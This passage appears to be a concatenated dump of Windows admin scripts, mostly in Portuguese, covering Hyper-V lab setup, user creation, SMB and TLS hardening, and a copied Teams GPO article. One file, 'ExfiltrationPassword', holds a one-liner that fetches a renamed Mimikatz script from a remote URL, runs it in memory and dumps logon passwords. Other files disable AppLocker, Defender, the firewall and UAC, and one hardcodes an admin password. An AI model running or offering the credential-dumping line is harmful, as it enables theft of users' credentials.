SRV01-MCSA -path c:\VM-LAB\Dados\DADOS04.vhdx 67 | 68 | # AD réplica mcsa.local 69 | 70 | New-VM –Name SRV02-MCSA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV02-MCSA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 71 | Add-VMDvdDrive -VMName SRV02-MCSA 72 | Add-VMNetworkAdapter -VMName SRV02-MCSA 73 | New-VHD -Path c:\VM-LAB\Dados\DADOS05.vhdx -SizeBytes $VMHD2 74 | Add-VMHardDiskDrive -VMName SRV02-MCSA -path c:\VM-LAB\Dados\DADOS05.vhdx 75 | New-VHD -Path c:\VM-LAB\Dados\DADOS06.vhdx -SizeBytes $VMHD2 76 | Add-VMHardDiskDrive -VMName SRV02-MCSA -path c:\VM-LAB\Dados\DADOS06.vhdx 77 | 78 | # Criação das estações clientes de MCSA 79 | 80 | New-VM –Name CLI01-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB01.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 81 | Add-VMDvdDrive -VMName CLI01-MCSA 82 | 83 | New-VM –Name CLI02-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB02.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 84 | Add-VMDvdDrive -VMName CLI02-MCSA 85 | 86 | New-VM –Name CLI03-MCSA -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLIB03.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 87 | Add-VMDvdDrive -VMName CLI03-MCSA 88 | 89 | # AD filho - sucursal colatina | colatina.mcsa.local 90 | 91 | New-VM –Name SRV03-COLATINA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV03-COLATINA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 92 | Add-VMNetworkAdapter -VMName SRV03-COLATINA 93 | Add-VMDvdDrive -VMName SRV03-COLATINA 94 | 95 | # RODC filial | colatina.mcsa.local 96 | 97 | New-VM –Name SRV04-COLATINA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV04-COLATINA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 98 | Add-VMNetworkAdapter -VMName SRV04-COLATINA 99 | Add-VMDvdDrive -VMName SRV04-COLATINA 100 | 101 | ################################################ 102 | # # 103 | # Ambiente 02 - Sbrubles S/A # 104 | # # 105 | ################################################ 106 | 107 | # AD primário | sbrubles.local 108 | 109 | New-VM –Name SRV05-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV05-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 110 | Add-VMDvdDrive -VMName SRV05-SBRUBLES 111 | Add-VMNetworkAdapter -VMName SRV05-SBRUBLES 112 | 113 | # Ambiente geral 114 | 115 | New-VM –Name SRV06-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV06-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 116 | Add-VMDvdDrive -VMName SRV06-SBRUBLES 117 | Add-VMNetworkAdapter -VMName SRV06-SBRUBLES 118 | 119 | New-VM –Name SRV07-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV07-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 120 | Add-VMDvdDrive -VMName SRV07-SBRUBLES 121 | Add-VMNetworkAdapter -VMName SRV07-SBRUBLES 122 | 123 | # Ambiente em Cluster 124 | 125 | New-VM –Name SRV08-SBRUBLES-CLUSTE -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV08-SBRUBLES-CLUSTER.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU2 -exposevirtualizationextensions $true 126 | Add-VMDvdDrive -VMName SRV08-SBRUBLES-CLUSTER 127 | Add-VMNetworkAdapter -VMName SRV08-SBRUBLES-CLUSTER | set-vmnetworkadapter -vmname SRV08-SBRUBLES-CLUSTER -name "network adapter" -macaddressspoofing on 128 | 129 | New-VM –Name SRV09-SBRUBLES-CLUSTER -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV09-SBRUBLES-CLUSTER.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU2 -exposevirtualizationextensions $true 130 | Add-VMDvdDrive -VMName SRV09-SBRUBLES-CLUSTER 131 | Add-VMNetworkAdapter -VMName SRV09-SBRUBLES-CLUSTER | set-vmnetworkadapter -vmname SRV09-SBRUBLES-CLUSTER -name "network adapter" -macaddressspoofing on 132 | 133 | # Criação das estações clientes de SBRUBLES 134 | 135 | New-VM –Name CLI01-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI01-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 136 | Add-VMDvdDrive -VMName CLIB01-SBRUBLES 137 | 138 | New-VM –Name CLI02-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI02-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 139 | Add-VMDvdDrive -VMName CLI02-SBRUBLES 140 | 141 | New-VM –Name CLI03-SBRUBLES -Generation 2 –MemoryStartupBytes $MEM1 -NewVHDPath c:\VM-LAB\CLI03-SBRUBLES.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 142 | Add-VMDvdDrive -VMName CLI03-SBRUBLES 143 | -------------------------------------------------------------------------------- /CriarEntrada060PXE: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # 060 PXE DHCP # 3 | ################################################# 4 | 5 | C:\WINDOWS\system32>netsh 6 | netsh>dhcp 7 | netsh dhcp>server \\ 8 | netsh dhcp>add optiondef 60 PXEClient String 0 comment=PXE support 9 | netsh dhcp>set optionvalue 60 STRING PXEClient 10 | netsh dhcp>exit 11 | -------------------------------------------------------------------------------- /CriarRegistroLocalAccount: -------------------------------------------------------------------------------- 1 | # Cria o registro LocalAccountTokenFilterPolicy se não existir e o habilita 2 | If ($LocalAccountTokenFilterPolicy -like $null){​​ 3 | New-ItemProperty -Path $registro -Name $nome -Value $valor -PropertyType DWORD -Force}​​ 4 | If ($LocalAccountTokenFilterPolicy.LocalAccountTokenFilterPolicy -eq 0){​​ 5 | Set-ItemProperty -Path $registro -Name $nome -Value $valor -Force}​​ 6 | -------------------------------------------------------------------------------- /CriarSenhaAleatoria: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Criar uma senha aleatória # 3 | ################################################# 4 | 5 | Add-Type -AssemblyName System.Web 6 | [System.Web.Security.Membership]::GeneratePassword(8,2) 7 | -------------------------------------------------------------------------------- /CriarUsuarioADDS-EmVolume: -------------------------------------------------------------------------------- 1 | $ouName = 'ToSync' 2 | $ouPath = "OU=$ouName,DC=adatum,DC=com" 3 | $adUserNamePrefix = 'aduser' 4 | $adUPNSuffix = 'adatum.com' 5 | $userCount = 1..9 6 | foreach ($counter in $userCount) { 7 | New-AdUser -Name $adUserNamePrefix$counter -Path $ouPath -Enabled $True ` 8 | -ChangePasswordAtLogon $false -userPrincipalName $adUserNamePrefix$counter@$adUPNSuffix ` 9 | -AccountPassword (ConvertTo-SecureString '' -AsPlainText -Force) -passThru 10 | } 11 | 12 | $adUserNamePrefix = 'wvdadmin1' 13 | $adUPNSuffix = 'adatum.com' 14 | New-AdUser -Name $adUserNamePrefix -Path $ouPath -Enabled $True ` 15 | -ChangePasswordAtLogon $false -userPrincipalName $adUserNamePrefix@$adUPNSuffix ` 16 | -AccountPassword (ConvertTo-SecureString '' -AsPlainText -Force) -passThru 17 | 18 | Get-ADGroup -Identity 'Domain Admins' | Add-AdGroupMember -Members 'wvdadmin1' 19 | -------------------------------------------------------------------------------- /CriarUsuarioLocal: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Criação de usuário local para gerencia2 # 3 | ################################################# 4 | 5 | net user "admin.cliente" /delete 6 | net user "admin.cliente" "123Mudar$" /add /comment:"admin.cliente" 7 | # wmic useraccount where "admin.cliente" set passwordexpires=false 8 | net localgroup Administrators admin.cliente /add 9 | net localgroup Users admin.cliente /delete 10 | net localgroup Administrators admin.cliente /add 11 | # net localgroup Usuarios admin.cliente /delete 12 | -------------------------------------------------------------------------------- /CriarUsuarioLocal-v2: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Criação de usuário local para gerencia1 # 3 | ################################################# 4 | 5 | $Conta = "admin.empresa" 6 | $Descript = "Administrador da conta grupo Empresa" 7 | $Pass = Read-Host "Entre com a senha do usuário" -AsSecureString 8 | $Grupo = "Administrators" 9 | 10 | New-LocalUser -Name $Conta -Password $Pass -FullName $FullName -AccountNeverExpires -Confirm -Description $Descript -PasswordNeverExpires -UserMayNotChangePassword 11 | Add-LocalGroupMember -Group $Grupo -Member $Conta 12 | net user $Conta 13 | -------------------------------------------------------------------------------- /CriptoCompartSMB: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Criptografar compartilhamento SMB # 3 | ################################################# 4 | 5 | # Para criptografar todos os compartilhamentos em um servidor de arquivos, no prompt de comando do Windows PowerShell, no servidor, digite o seguinte cmdlet e pressione Enter: 6 | Set-SmbServerConfiguration –EncryptData $true 7 | 8 | # Para criar um novo compartilhamento de arquivo e habilitar a criptografia SMB simultaneamente, abra um prompt de comando do Windows PowerShell, digite o seguinte cmdlet e pressione Enter: 9 | New-SmbShare –Name -Path –EncryptData $true 10 | 11 | # No Gerenciador do Servidor, Serviços de Arquivo e Armazenamento, você pode habilitar a criptografia em um compartilhamento pela página Gerenciamento de compartilhamentos: 12 | 13 | # 1. Clique com o botão direito do mouse no compartilhamento em questão e clique em Propriedades. 14 | # 2. Na página Configurações, clique em Criptografar acesso aos dados. 15 | 16 | # Para permitir conexões que não usem criptografia SMB 3, tal como quando servidores e clientes mais antigos continuam na sua rede, abra um prompt de comando do Windows PowerShell, digite o seguinte cmdlet e pressione Enter: 17 | Set-SmbServerConfiguration –RejectUnencryptedAccess $false 18 | 19 | Get-smbshare 20 | -------------------------------------------------------------------------------- /DadosDeVideoPelaBIOS-Lenovo: -------------------------------------------------------------------------------- 1 | Get-wmiobject -Class Win32_BIOS -Computername . 2 | gwmi -class Lenovo_BiosSetting -namespace root\wmi select-object currentsetting 3 | gwmi -class Lenovo_BiosSetting -namespace root\wmi | Where-Object {$_.CurrentSetting.split(",",[StringSplitOptions]::RemoveEmptyEntries) -eq "UMAFramebufferSize"} | Format-List CurrentSetting 4 | (gwmi -class Lenovo_SetBiosSetting -namespace root\wmi).SetBiosSetting("UMAFramebufferSize,256MB") 5 | (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings() 6 | 7 | # Pesquisa de classes 8 | # $SettingList = Get-WmiObject -Namespace root\wmi -Class Lenovo_BiosSetting 9 | # $SettingList | Select-Object CurrentSetting 10 | gwmi -class Lenovo_BiosSetting -namespace root\wmi | ForEach-Object {if ($_.CurrentSetting -ne "") {Write-Host $_.CurrentSetting.replace(","," = ")}} 11 | -------------------------------------------------------------------------------- /DesabilitarSSL: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desabilitar SSL3.0 # 3 | ################################################# 4 | 5 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -Force | Out-Null 6 | 7 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -name 'Enabled' -value '0' -PropertyType 'DWord' -Force | Out-Null 8 | 9 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force | Out-Null 10 | 11 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client' -Force | Out-Null 12 | 13 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client' -name 'Enabled' -value '0' -PropertyType 'DWord' -Force | Out-Null 14 | 15 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force | Out-Null 16 | Write-Host 'SSL 3.0 has been disabled.' 17 | -------------------------------------------------------------------------------- /DesativarAppLocker: -------------------------------------------------------------------------------- 1 | echo off 2 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Appx /f 3 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe /f 4 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Msi /f 5 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script /f 6 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastGpNotifyTime /f 7 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastWriteTime /f 8 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v RuleCount /f 9 | net stop AppIDSvc 10 | del C:\Windows\System32\AppLocker\Appx.AppLocker 11 | del C:\Windows\System32\AppLocker\Dll.AppLocker 12 | del C:\Windows\System32\AppLocker\Exe.AppLocker 13 | del C:\Windows\System32\AppLocker\Msi.AppLocker 14 | del C:\Windows\System32\AppLocker\Script.AppLocker 15 | del C:\Windows\System32\AppLocker\AppCache.dat 16 | net start AppIDSvc 17 | exit 18 | -------------------------------------------------------------------------------- /DesativarIE-EnSecConf: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desativa o IE Enhanced Security Configuration # 3 | ################################################# 4 | 5 | function Disable-InternetExplorerESC { 6 | $AdminKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}" 7 | $UserKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}" 8 | Set-ItemProperty -Path $AdminKey -Name "IsInstalled" -Value 0 -Force 9 | Set-ItemProperty -Path $UserKey -Name "IsInstalled" -Value 0 -Force 10 | Stop-Process -Name Explorer -force 11 | Write-Host "IE Enhanced Security Configuration (ESC) has been disabled." -ForegroundColor Green 12 | } 13 | Disable-InternetExplorerESC 14 | -------------------------------------------------------------------------------- /DesativarLLMNR: -------------------------------------------------------------------------------- 1 | New-Item "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT" -Name DNSClient -Force 2 | New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name EnableMultiCast -Value 0 -PropertyType DWORD -Force 3 | -------------------------------------------------------------------------------- /DesativarMapBroker: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desativa o MapsBroker # 3 | ################################################# 4 | 5 | Get-Service -Name MapsBroker | Set-Service -StartupType Disabled -Confirm:$false 6 | -------------------------------------------------------------------------------- /DesativarSMB-V1: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desabilitar SMB 1.0 # 3 | ################################################# 4 | # Você pode desabilitar o SMB 1.x nos sistemas Windows 7, Windows Server 2008 R2, Windows Vista e Windows Server 2008 editando o 5 | # registro ou executando o seguinte comando no Windows PowerShell 2.0: 6 | 7 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force 8 | 9 | # Você pode desabilitar o SMB 1.x em sistemas Windows 8 e mais recentes, ou Windows Server 2012 e mais recentes, com o seguinte 10 | # comando: 11 | Set-SmbServerConfiguration –EnableSMB1Protocol $false 12 | 13 | # Você pode desinstalar o SMB 1 do Windows 8.1 e versões mais recentes com o seguinte cmdlet: 14 | Remove-WindowsFeature FS-SMB1 15 | 16 | # No Windows 10 ou no Windows Server 2016, você pode habilitar a auditoria do tráfego do SMB 1.x com o seguinte cmdlet: 17 | Set-SmbServerConfiguration –AuditSmb1Access $true 18 | 19 | # Para visualizar e gerar eventos de auditoria, você pode usar o seguinte cmdlet: 20 | Get-WinEvent -LogName Microsoft-Windows-SMBServer/Audit 21 | -------------------------------------------------------------------------------- /DesativarSSL-2: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desabilitar SSL2.0 # 3 | ################################################# 4 | 5 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server' -Force | Out-Null 6 | 7 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server' -name 'Enabled' -value '0' -PropertyType 'DWord' -Force | Out-Null 8 | 9 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force | Out-Null 10 | 11 | New-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client' -Force | Out-Null 12 | 13 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client' -name 'Enabled' -value '0' -PropertyType 'DWord' -Force | Out-Null 14 | 15 | New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force | Out-Null 16 | Write-Host 'SSL 2.0 has been disabled.' 17 | -------------------------------------------------------------------------------- /DesativarUAC: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desativa o UAC do Windows # 3 | ################################################# 4 | 5 | function Disable-UserAccessControl { 6 | Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 00000000 -Force 7 | Write-Host "User Access Control (UAC) has been disabled." -ForegroundColor Green 8 | } 9 | Disable-UserAccessControl 10 | -------------------------------------------------------------------------------- /DesinstalarProgPadrWindows: -------------------------------------------------------------------------------- 1 | ################################################# 2 | #Desinstalar os aplicativos padrões do Windows10# 3 | ################################################# 4 | 5 | Get-AppxPackage | Select Name, PackageFullName 6 | Get-AppxPackage *PackageFullName* | Remove-AppxPackage 7 | -------------------------------------------------------------------------------- /DesligarFirewallWindows: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Desligar Firewall do Windows # 3 | ################################################# 4 | 5 | netsh.exe advfirewall set allprofiles state off 6 | netsh.exe advfirewall show allprofiles state 7 | -------------------------------------------------------------------------------- /DisableAppLocker: -------------------------------------------------------------------------------- 1 | echo off 2 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Appx /f 3 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe /f 4 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Msi /f 5 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script /f 6 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastGpNotifyTime /f 7 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastWriteTime /f 8 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v RuleCount /f 9 | net stop AppIDSvc 10 | del C:\Windows\System32\AppLocker\Appx.AppLocker 11 | del C:\Windows\System32\AppLocker\Dll.AppLocker 12 | del C:\Windows\System32\AppLocker\Exe.AppLocker 13 | del C:\Windows\System32\AppLocker\Msi.AppLocker 14 | del C:\Windows\System32\AppLocker\Script.AppLocker 15 | del C:\Windows\System32\AppLocker\AppCache.dat 16 | net start AppIDSvc 17 | exit 18 | -------------------------------------------------------------------------------- /DisableAppLockerByReg: -------------------------------------------------------------------------------- 1 | echo off 2 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Appx /f 3 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe /f 4 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Msi /f 5 | reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script /f 6 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastGpNotifyTime /f 7 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v LastWriteTime /f 8 | reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp /v RuleCount /f 9 | net stop AppIDSvc 10 | del C:\Windows\System32\AppLocker\Appx.AppLocker 11 | del C:\Windows\System32\AppLocker\Dll.AppLocker 12 | del C:\Windows\System32\AppLocker\Exe.AppLocker 13 | del C:\Windows\System32\AppLocker\Msi.AppLocker 14 | del C:\Windows\System32\AppLocker\Script.AppLocker 15 | del C:\Windows\System32\AppLocker\AppCache.dat 16 | net start AppIDSvc 17 | exit 18 | -------------------------------------------------------------------------------- /DisableTeamsGPO: -------------------------------------------------------------------------------- 1 | How to disable or enable auto start of Teams application using GPO 2 | Posted on November 9, 2018 by Eswar Koneti | 9 Comments | 97,579 Views 3 | 4 | 5 | When we started of with office 365 project ,one of the key application to be delivered to users is Teams application. Teams is the primary client for intelligent communications in Office 365, replacing Skype for Business Online over time. When we started deploying the teams clients to windows computers using SCCM Configmgr ,teams will auto startup upon computer restart/user logoff & log in and is by design . 6 | 7 | When the Teams application is installed on windows PC (it doesn't require admin rights to install and installation location is C:\Users\%username%\AppData\Local\Microsoft\Teams ) ,it has auto-start application setting enabled by default. With this setting ,it create an entry in the registry in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 8 | 9 | with value com.squirrel.Teams.Teams and data C:\Users\eswar.koneti\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--system-initiated" as shown below. 10 | 11 | image 12 | 13 | With the initial deployment ,we decided to remove this auto startup using group policy for all users and let user start the application manually as they already using lync and teams is additional collaboration platform to use. 14 | 15 | image 16 | 17 | There are 2 reasons for us to remove the teams auto-start application using GPO. 18 | 19 | 1) we don't want every one to start using the application from the time we deploy silently to the end user PC’s 20 | 21 | 2)For those it got installed ,users complain that ,loading of teams when user login takes a while which slow down the PC. 22 | 23 | How to delete the Auto-start application of teams using GPO: 24 | 25 | So ,to delete the auto-startup ,we use GPO (best way to remove this) by simply creating a registry key with delete and apply at OU level. 26 | 27 | Following is the registry key used in GPO: 28 | 29 | Location: User configuration\Preferences\windows settings\registry 30 | 31 | Hive: HKEY_CURRENT_USER 32 | 33 | Key path: Software\Microsoft\Windows\CurrentVersion\Run 34 | 35 | Value Name: com.squirrel.Teams.Teams 36 | 37 | image 38 | 39 | So far looks good but when we are actually reaching completion of office 365 project that delivers every one to use Teams application ,we started sunset lync application. 40 | 41 | When we disabled lync for users users started asking for auto-start application for teams and we already deleted it using GPO for everyone initially. 42 | 43 | How to Enable the Auto-start application of teams using GPO (back to beginning) : 44 | 45 | The registry key that was created by the application in the registry key was removed earlier and now if we want that to be back ,either user must go the application and enable the setting or we push the registry key using GPO. 46 | 47 | Since i already noted the registry key that was created by the application so i created a GPO with following syntax and applied at OU level. 48 | 49 | image 50 | 51 | As you can see above, the value data (C:\Users\%username%\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--system-initiated" ) that we used is same as the one that we deleted initially, but this doesn't work on end-user PC during logon. 52 | 53 | The GPO applied correctly and teams never load automatically so i copied the syntax and tried opening in cmd window and it works but auto-start do not work. 54 | 55 | so after spending sometime reviewing ,finally fixed it by changing the command line from system-initiated to user-initiated 56 | 57 | clip_image002 58 | 59 | image 60 | 61 | Value Data: C:\Users\%username%\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--user-initiated" 62 | 63 | If the user have teams installed (if you did not change the default install location) ,this GPO will launch teams automatically during login . 64 | 65 | What happens if the computer doesn't have teams installed but still the GPO applied ? does it pop-up any error ? No ,there wont be any error or pop-up on the computers that doesn't have teams installed and you are safe to apply to everyone who want to have the auto-start application enabled. 66 | -------------------------------------------------------------------------------- /DisableWindowsDefender: -------------------------------------------------------------------------------- 1 | # Para desabilitar o Windows Defender 2 | Set-MpPreference -DisableRealtimeMonitoring $false 3 | sc config WinDefend start= disabled 4 | sc stop WinDefend 5 | sc query WinDefend 6 | 7 | 8 | # sc config WinDefend start= auto 9 | # sc start WinDefend 10 | https://www.itechtics.com/enable-disable-windows-defender/ 11 | -------------------------------------------------------------------------------- /EventViewer: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configura o Event Viewer # 3 | ################################################# 4 | 5 | reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application /v MaxSize /t REG_DWORD /d 524288000 /f 6 | reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Security /v MaxSize /t REG_DWORD /d 524288000 /f 7 | reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\EventLog\System /v MaxSize /t REG_DWORD /d 524288000 /f 8 | -------------------------------------------------------------------------------- /ExemploROBOCOPY: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # ROBOCOPY # 3 | ################################################# 4 | 5 | robocopy D:\Origem G:\Destino /ZB /R:0 /W:0 /COPYALL /MIR /ts /tee /log:c:\logrobocopy\log_LOG-COPY.txt 6 | 7 | # REF: https://docs.microsoft.com/pt-br/windows-server/administration/windows-commands/robocopy 8 | -------------------------------------------------------------------------------- /ExfiltrationPassword: -------------------------------------------------------------------------------- 1 | powershell.exe -exec bypass -C "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://github.com/marcos-borges/files/raw/master/Invoke-Mimimi.ps1');Invoke-Mimimi -Command Sekurlsa::logonpasswords" 2 | -------------------------------------------------------------------------------- /FTP-Forceps: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Acesso Servidores FTP # 3 | ################################################# 4 | 5 | reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscRanges\Range1" /v :Range /t REG_SZ /d 172,16.16.10 /f 6 | reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscRanges\Range1" /v ftp /t REG_DWORD /d 2 /f 7 | reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscRanges\Range2" /v :Range /t REG_SZ /d 172,16.16.11 /f 8 | reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscRanges\Range2" /v ftp /t REG_DWORD /d 2 /f 9 | -------------------------------------------------------------------------------- /Filtrar-e-exportar-chaves-de-registro: -------------------------------------------------------------------------------- 1 | # Pode ser necessario filtrar e exportar chaves de registro do Windows para um arquivo de texto por linha de comando 2 | # Este comando é útil para entender quais chaves de registro um determinado programa gera e se apos sua desinstalacao, ainda deixa residuos 3 | # Emuladores de terminal como Rumba e o onweb deixam muitos residuos mesmo apos usa desisntalacao 4 | # Neste caso, podemos utilizar o comando abaixo 5 | 6 | reg query HKEY_LOCAL_MACHINE /s /f "rumba" | find /i "rumba" > C:\Users\USUARIO-LOGADO\Desktop\registro-de-chave.txt 7 | -------------------------------------------------------------------------------- /GetInstallDateWindows: -------------------------------------------------------------------------------- 1 | [Management.ManagementDateTimeConverter]::ToDateTime((Get-WmiObject -Class Win32_OperatingSystem).InstallDate) 2 | -------------------------------------------------------------------------------- /HabilitandoTLS-1-2: -------------------------------------------------------------------------------- 1 | #Habilitando TLS 1.2 2 | 3 | New-Item 